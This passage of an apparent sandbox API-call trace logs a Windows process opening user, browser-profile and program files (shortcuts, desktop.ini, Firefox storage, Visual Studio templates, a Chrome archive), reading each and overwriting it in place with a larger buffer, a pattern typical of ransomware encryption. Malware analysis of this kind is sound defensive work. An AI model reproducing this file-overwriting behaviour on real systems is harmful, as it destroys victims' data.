dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0052.311] ReadFile (in: hFile=0x198, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x2f4f2bc*=0x11a, lpOverlapped=0x0) returned 1 [0052.311] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.312] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a2, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6a2, lpOverlapped=0x0) returned 1 [0052.312] CloseHandle (hObject=0x198) returned 1 [0052.312] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0052.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x85 [0052.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.938] ReleaseMutex (hMutex=0x128) returned 1 [0052.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Entertainment.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0052.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Entertainment.url", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN Entertainment.url", lpUsedDefaultChar=0x0) returned 21 [0052.939] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e318, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x2f4f2bc*=0x85, lpOverlapped=0x0) returned 1 [0052.939] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.939] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0052.942] CloseHandle (hObject=0x1d4) returned 1 [0052.942] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.654] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.654] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d3 [0053.655] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] ReleaseMutex (hMutex=0x128) returned 1 [0053.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.lnk", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.lnk", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Desktop.lnk", lpUsedDefaultChar=0x0) returned 11 [0053.657] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2f4f2bc*=0x1d3, lpOverlapped=0x0) returned 1 [0053.667] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0053.667] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de83c8*, nNumberOfBytesToWrite=0x75b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de83c8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x75b, lpOverlapped=0x0) returned 1 [0053.667] CloseHandle (hObject=0x1ac) returned 1 [0053.668] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.668] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.668] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7e9 [0053.668] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.668] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.668] ReleaseMutex (hMutex=0x128) returned 1 [0053.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe Reader X.lnk", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0053.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe Reader X.lnk", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Reader X.lnk", lpUsedDefaultChar=0x0) returned 18 [0053.668] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x7e9, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2f4f2bc*=0x7e9, lpOverlapped=0x0) returned 1 [0053.669] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0053.669] WriteFile (in: hFile=0x1ac, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0xd71, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xd71, lpOverlapped=0x0) returned 1 [0053.669] CloseHandle (hObject=0x1ac) returned 1 [0053.669] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.896] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.896] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x24a [0053.900] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.900] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.900] ReleaseMutex (hMutex=0x128) returned 1 [0053.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0053.903] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x24a, lpOverlapped=0x0) returned 1 [0053.927] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0053.927] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d2, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7d2, lpOverlapped=0x0) returned 1 [0053.929] CloseHandle (hObject=0x1b0) returned 1 [0053.930] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.930] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.930] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x146 [0053.930] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0053.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.930] ReleaseMutex (hMutex=0x128) returned 1 [0053.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0053.930] ReadFile (in: hFile=0x1b0, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x2f4f2bc*=0x146, lpOverlapped=0x0) returned 1 [0053.931] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0053.931] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ce, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6ce, lpOverlapped=0x0) returned 1 [0053.932] CloseHandle (hObject=0x1b0) returned 1 [0053.932] GetCurrentThreadId () returned 0xb6c [0053.932] GetCurrentThreadId () returned 0xb6c [0053.932] GetCurrentThreadId () returned 0xb6c [0053.932] SetEvent (hEvent=0xc4) returned 1 [0053.932] RtlExitUserThread (Status=0x0) Thread: id = 81 os_tid = 0x694 [0032.593] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.594] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", lpFilePart=0x304f690*="RacDatabase.sdf") returned 0x3a [0032.594] GetLastError () returned 0x20 [0032.594] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̄폈H̄퐔H̄") returned 0x51 [0032.594] LocalFree (hMem=0x70da60) returned 0x0 [0032.594] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.594] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0032.594] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0032.594] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0032.594] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf")) returned 0x2020 [0032.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.595] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.595] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x18000 [0032.595] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.595] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.595] ReleaseMutex (hMutex=0x128) returned 1 [0032.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webappsstore.sqlite", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0032.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webappsstore.sqlite", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webappsstore.sqlite", lpUsedDefaultChar=0x0) returned 19 [0032.595] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.597] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x17000 [0032.597] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.598] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x17000 [0032.598] WriteFile (in: hFile=0x170, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.598] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0032.598] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.598] CloseHandle (hObject=0x170) returned 1 [0032.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.600] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.600] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x499 [0032.600] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.600] ReleaseMutex (hMutex=0x128) returned 1 [0032.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataSet.zip", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataSet.zip", cchWideChar=11, lpMultiByteStr=0x1e632ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataSet.zip", lpUsedDefaultChar=0x0) returned 11 [0032.600] ReadFile (in: hFile=0x170, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x304f2bc*=0x499, lpOverlapped=0x0) returned 1 [0032.787] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0032.787] WriteFile (in: hFile=0x170, lpBuffer=0x1de4e08*, nNumberOfBytesToWrite=0xa21, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesWritten=0x304f2d0*=0xa21, lpOverlapped=0x0) returned 1 [0032.787] CloseHandle (hObject=0x170) returned 1 [0032.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.789] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.789] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x59c [0032.789] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.789] ReleaseMutex (hMutex=0x128) returned 1 [0032.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserControl.zip", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0032.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserControl.zip", cchWideChar=15, lpMultiByteStr=0x1e630ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserControl.zip", lpUsedDefaultChar=0x0) returned 15 [0032.789] ReadFile (in: hFile=0x170, lpBuffer=0x1dfc148, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc148*, lpNumberOfBytesRead=0x304f2bc*=0x59c, lpOverlapped=0x0) returned 1 [0032.795] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0032.795] WriteFile (in: hFile=0x170, lpBuffer=0x1df3c78*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df3c78*, lpNumberOfBytesWritten=0x304f2d0*=0xb24, lpOverlapped=0x0) returned 1 [0032.795] CloseHandle (hObject=0x170) returned 1 [0032.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.796] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.796] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x514 [0032.797] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.797] ReleaseMutex (hMutex=0x128) returned 1 [0032.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Form.zip", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Form.zip", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Form.zip", lpUsedDefaultChar=0x0) returned 8 [0032.797] ReadFile (in: hFile=0x170, lpBuffer=0x1e15f18, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15f18*, lpNumberOfBytesRead=0x304f2bc*=0x514, lpOverlapped=0x0) returned 1 [0032.803] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0032.803] WriteFile (in: hFile=0x170, lpBuffer=0x1df3c78*, nNumberOfBytesToWrite=0xa9c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df3c78*, lpNumberOfBytesWritten=0x304f2d0*=0xa9c, lpOverlapped=0x0) returned 1 [0032.803] CloseHandle (hObject=0x170) returned 1 [0032.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files 